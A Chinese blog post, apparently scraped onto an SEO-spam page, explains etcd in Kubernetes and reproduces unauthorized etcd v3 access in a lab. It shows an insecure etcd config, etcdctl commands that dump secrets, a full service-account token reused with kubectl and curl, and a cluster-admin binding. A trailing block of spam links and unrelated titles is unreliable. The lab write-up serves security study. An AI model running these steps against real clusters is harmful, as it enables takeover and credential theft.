当前位置: 首页 > wzjs >正文

江苏省建设厅的官方网站网店大师

江苏省建设厅的官方网站,网店大师,56网站可以做电子相册,上海公司车牌本月价格什么是etcd? etcd 是一个开源的分布式键值存储系统,主要用于存储和管理配置信息、状态数据以及服务发现信息。它采用 Raft 共识算法,确保数据的一致性和高可用性,能够在多个节点上运行,保证在部分节点故障时仍能继续提…

什么是etcd?

etcd 是一个开源的分布式键值存储系统,主要用于存储和管理配置信息、状态数据以及服务发现信息。它采用 Raft 共识算法,确保数据的一致性和高可用性,能够在多个节点上运行,保证在部分节点故障时仍能继续提供服务。

在 Kubernetes 中,etcd 扮演着关键角色,用于存储集群的所有资源数据(如 Pod、Service 和 Deployment 的信息)。Kubernetes 通过与 etcd 的交互,获取集群的当前状态并确保集群的一致性。

etcd 还提供了“watch”功能,允许用户在键值对发生变化时得到通知,适用于动态配置更新和分布式锁等场景。它是保证分布式系统一致性和高可用性的核心技术之一。

简单理解:etcd 用于存储集群的关键数据,包括节点信息、认证凭证、API 令牌(token)、证书等。它保存了集群的所有配置和状态数据,确保集群的一致性和可靠性。 

在 Kubernetes 中,etcd 使用以下几个端口:

 客户端端口(默认端口: 2379):

用于 etcd 集群与 Kubernetes 控制平面之间的通信。Kubernetes 控制平面(如 API 服务器)通过这个端口与 etcd 交互,读取和写入集群状态。

集群通信端口(默认端口: 2380):

用于 etcd 集群节点之间的内部通信,确保集群中的各个 etcd 节点之间的数据同步和一致性。这个端口用于 Raft 协议的数据同步。 

这些端口通常需要被保护和访问控制,确保安全性。默认情况下,etcd 也会使用 TLS 加密这些端口的通信,以提高安全性。

etcd未授权访问 

1、如果管理员配置不当,那么攻击者就可以从etcd中获取secrets&token等关键信息,进而通过kubectl创建恶意pod从而接管集群。

2、如果存在SSRF漏洞,配合配置不当,攻击者访问到etcd=接管集群。

3、位于K8s master node 对内暴露2379端口,本地可免认证访问,其他地址要带--endpoint参数和cert进行认证。

v3版本漏洞复现

我这里仅复现v3版本,v2版本较老,目前基本没有了 

不安全的 etcd.yaml 配置如下: 

apiVersion: v1
kind: Pod
metadata:annotations:kubeadm.kubernetes.io/etcd.advertise-client-urls: http://192.168.48.142:2379 #改成httpcreationTimestamp: nulllabels:component: etcdtier: control-planename: etcdnamespace: kube-system
spec:containers:- command:- etcd- --advertise-client-urls=http://192.168.48.142:2379 #改成http- --cert-file=/etc/kubernetes/pki/etcd/server.crt- --client-cert-auth=false #注释或修改成false- --data-dir=/var/lib/etcd- --initial-advertise-peer-urls=https://192.168.48.142:2380- --initial-cluster=master-1=https://192.168.48.142:2380- --key-file=/etc/kubernetes/pki/etcd/server.key- --listen-client-urls=http://127.0.0.1:2379,http://192.168.48.142:2379 #改成http- --listen-metrics-urls=http://127.0.0.1:2381- --listen-peer-urls=https://192.168.48.142:2380- --name=master-1- --peer-cert-file=/etc/kubernetes/pki/etcd/peer.crt- --peer-client-cert-auth=true- --peer-key-file=/etc/kubernetes/pki/etcd/peer.key- --peer-trusted-ca-file=/etc/kubernetes/pki/etcd/ca.crt- --snapshot-count=10000#- --trusted-ca-file=/etc/kubernetes/pki/etcd/ca.crt #注释image: registry.aliyuncs.com/google_containers/etcd:3.5.1-0imagePullPolicy: IfNotPresentlivenessProbe:failureThreshold: 8httpGet:host: 127.0.0.1path: /healthport: 2381scheme: HTTPinitialDelaySeconds: 10periodSeconds: 10timeoutSeconds: 15name: etcdresources:requests:cpu: 100mmemory: 100MistartupProbe:failureThreshold: 24httpGet:host: 127.0.0.1path: /healthport: 2381scheme: HTTPinitialDelaySeconds: 10periodSeconds: 10timeoutSeconds: 15volumeMounts:- mountPath: /var/lib/etcdname: etcd-data- mountPath: /etc/kubernetes/pki/etcdname: etcd-certshostNetwork: truepriorityClassName: system-node-criticalsecurityContext:seccompProfile:type: RuntimeDefaultvolumes:- hostPath:path: /etc/kubernetes/pki/etcdtype: DirectoryOrCreatename: etcd-certs- hostPath:path: /var/lib/etcdtype: DirectoryOrCreatename: etcd-data
status: {}

对应 api server 配置如下:

检查etcd服务是否正常

#查看2379端口是否处于监听状态netstat -lnpt | grep 2379#在K8s集群初始化后,etcd默认就以pod的形式存在,可以执行如下命令进行查看kubectl get pod -A | grep etcd

(1)攻击者发现如下页面,由于2379端口默认不对外,且为tls认证,所以这种页面基本就是未授权访问了

(2)使用etcdctl工具进行测试和信息收集

#验证etcdctl --endpoints=192.168.48.142:2379 get / --prefixetcdctl --endpoints=192.168.48.142:2379 put /qiu/hui "attack"etcdctl --endpoints=192.168.48.142:2379 get /qiu/hui

安装etcd客户端连接工具etcdctl
Releases · etcd-io/etcd · GitHub

(3)由于Service Account 关联了一套凭证,存储在 Secret中。因此攻击者可以过滤Secret,查找具有高权限的Secret,然后获得其token接管K8s集群

etcdctl --endpoints=192.168.48.142:2379 get / --prefix --keys-only | findstr /C:"/secrets/"etcdctl --endpoints=192.168.48.142:2379 get / --prefix --keys-only | findstr /C:"/secrets/kube-system/clusterrole"etcdctl --endpoints=192.168.48.142:2379 get /registry/secrets/kube-system/clusterrole-aggregation-controller-token-mr6x7kubectl --insecure-skip-tls-verify -s https://192.168.48.142:6443/ --token="eyJhbGciOiJSUzI1NiIsImtpZCI6IlpJRnlaWGxOalUzT3JXa0cwaHVsck05eXFDeDRlU3d6NVR3ckdLdUJrLWcifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJjbHVzdGVycm9sZS1hZ2dyZWdhdGlvbi1jb250cm9sbGVyLXRva2VuLW1yNng3Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6ImNsdXN0ZXJyb2xlLWFnZ3JlZ2F0aW9uLWNvbnRyb2xsZXIiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiJkNjgxZDQwYi1lNzRkLTQ3YjMtYTY5NC1hNWNjZDVhMTVkYzciLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6a3ViZS1zeXN0ZW06Y2x1c3RlcnJvbGUtYWdncmVnYXRpb24tY29udHJvbGxlciJ9.Ox4bHyR6IpRnHW_nw3dc8VnhWKhApBY0Q6dHSbtehe3taad6KskZk1qgrLlDHxhiwP-dtDCPNCzCNxdzBGFTICwTIsG33y3w8rc3-Uwk4ZzEisD9Ypt8136KvmBe2ozQREvQaxEsZFky1mW_6pMP0FjChrRQa3LQMV08ydDkx4ANYS4gc1NdqBcvLPC30gQGTftBlIFjmHZ0jIOW5Y5UkhaW1InMtVhyM2U4U_0xetSo6IBYa45sdppDLD5wa3FMxIxJxFVNav4gM6zB2K3uOm8v_7exVVJ7M2K4tMEDvrQCgJ7Fv0Q1fxu-PUZuDoOAM8hyDjAzpqmxW0aCmBmJ5w" -n kube-system get pods#curl验证curl --header "Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6IlpJRnlaWGxOalUzT3JXa0cwaHVsck05eXFDeDRlU3d6NVR3ckdLdUJrLWcifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJjbHVzdGVycm9sZS1hZ2dyZWdhdGlvbi1jb250cm9sbGVyLXRva2VuLW1yNng3Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6ImNsdXN0ZXJyb2xlLWFnZ3JlZ2F0aW9uLWNvbnRyb2xsZXIiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiJkNjgxZDQwYi1lNzRkLTQ3YjMtYTY5NC1hNWNjZDVhMTVkYzciLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6a3ViZS1zeXN0ZW06Y2x1c3RlcnJvbGUtYWdncmVnYXRpb24tY29udHJvbGxlciJ9.Ox4bHyR6IpRnHW_nw3dc8VnhWKhApBY0Q6dHSbtehe3taad6KskZk1qgrLlDHxhiwP-dtDCPNCzCNxdzBGFTICwTIsG33y3w8rc3-Uwk4ZzEisD9Ypt8136KvmBe2ozQREvQaxEsZFky1mW_6pMP0FjChrRQa3LQMV08ydDkx4ANYS4gc1NdqBcvLPC30gQGTftBlIFjmHZ0jIOW5Y5UkhaW1InMtVhyM2U4U_0xetSo6IBYa45sdppDLD5wa3FMxIxJxFVNav4gM6zB2K3uOm8v_7exVVJ7M2K4tMEDvrQCgJ7Fv0Q1fxu-PUZuDoOAM8hyDjAzpqmxW0aCmBmJ5w" -X GET https://192.168.48.142:6443/api -k

(4)如果存在dashboard,也可以使用token登录,从而管理K8s 

问题解决

复现时可能会遇到以下问题:

这表明 system:serviceaccount:kube-system:clusterrole-aggregation-controller 服务账户没有权限列出 kube-system 命名空间中的 pods 资源。可能的原因是该服务账户缺少适当的角色和权限。通过以下命令授予权限:

kubectl create clusterrolebinding clusterrole-aggregation-controller-binding \--clusterrole=cluster-admin \--serviceaccount=kube-system:clusterrole-aggregation-controller

这将赋予 system:serviceaccount:kube-system:clusterrole-aggregation-controller 服务账户集群管理员权限,从而允许它执行各种操作,包括列出 Pods。 ​


文章转载自:

http://2a5eNBW6.knqzd.cn
http://NiQzMKhZ.knqzd.cn
http://HoijuCxx.knqzd.cn
http://8oMB30zs.knqzd.cn
http://y3tYqPoL.knqzd.cn
http://b5shIBIQ.knqzd.cn
http://oflObCzs.knqzd.cn
http://Pk3n8Mfw.knqzd.cn
http://PHJggBbY.knqzd.cn
http://J499ikhb.knqzd.cn
http://Y8LG2KON.knqzd.cn
http://Zvqpbmto.knqzd.cn
http://17uvf648.knqzd.cn
http://vYirTdIv.knqzd.cn
http://jbGqmQjd.knqzd.cn
http://437J3OvY.knqzd.cn
http://GJelcFAe.knqzd.cn
http://5gRuifwU.knqzd.cn
http://WzjnKAiy.knqzd.cn
http://A5D3cjlk.knqzd.cn
http://AtQo3VZ4.knqzd.cn
http://xfnyhLow.knqzd.cn
http://sFyo2Pcp.knqzd.cn
http://NY7tt5qz.knqzd.cn
http://3VXFKSoh.knqzd.cn
http://j2xqz0wx.knqzd.cn
http://SuGVHTO4.knqzd.cn
http://YrUMmJUC.knqzd.cn
http://WMGejslQ.knqzd.cn
http://YLAGNYdJ.knqzd.cn
http://www.dtcms.com/wzjs/642020.html

相关文章:

  • 苏州集团网站制作设计品牌建设的具体措施
  • 建一个团购网站要多少钱北京网络营销北京
  • 深圳做棋牌网站建设哪家公司收费合理怎样审请网站
  • 游戏租号网站怎么建设在线拼图
  • 买一个网站多少钱wordpress菜单 标题属性
  • 服务器怎么做网站教程视频嵌入网站
  • 做股权众筹的网站简历模板手机版填写免费
  • 网站建设 顺德完整域名展示网站源码
  • 加强门户网站建设的讲话怎么用dw设计网站页面
  • 做网站下载那个数据库好wordpress mysql扩展
  • 上海专业网站建设市场长春建站公司网站
  • 保山网站建设多少钱wordpress 不同分类
  • 网校网站建设多少钱网站开发公司可行报告
  • 水利建设专项收入在什么网站上申报做网站之前的前期
  • 做婚庆的网站有哪些内容大连专业做网站
  • 企业网站设置费用网站导航如何做半透明
  • 做网站卖得出去吗jsp页面如何做网站pv统计
  • 帝国建站软件天元建设集团有限公司招聘信息
  • 在线生成短链接石家庄seo排名外包
  • 外贸自建站可以自己做网站吗软文推广教程
  • 网站地图的制作广告平台有哪些 互联网
  • 五合一网站制作视频教程?p2p网站开发思路方案
  • 越秀网站建设设计网站建设与管理必修
  • 网站建设中扁平化结构北京 集团公司网站建设
  • 松江网站建设品划网络浙江省城乡与住房建设部网站
  • 58徐州网站建设高中网站建设计划表
  • 网站组件设计学类
  • 做网站北京临沂手工活外发加工网
  • 做临时网站wordpress中文手册下载
  • 苏州seo网站诊断wordpress高级套餐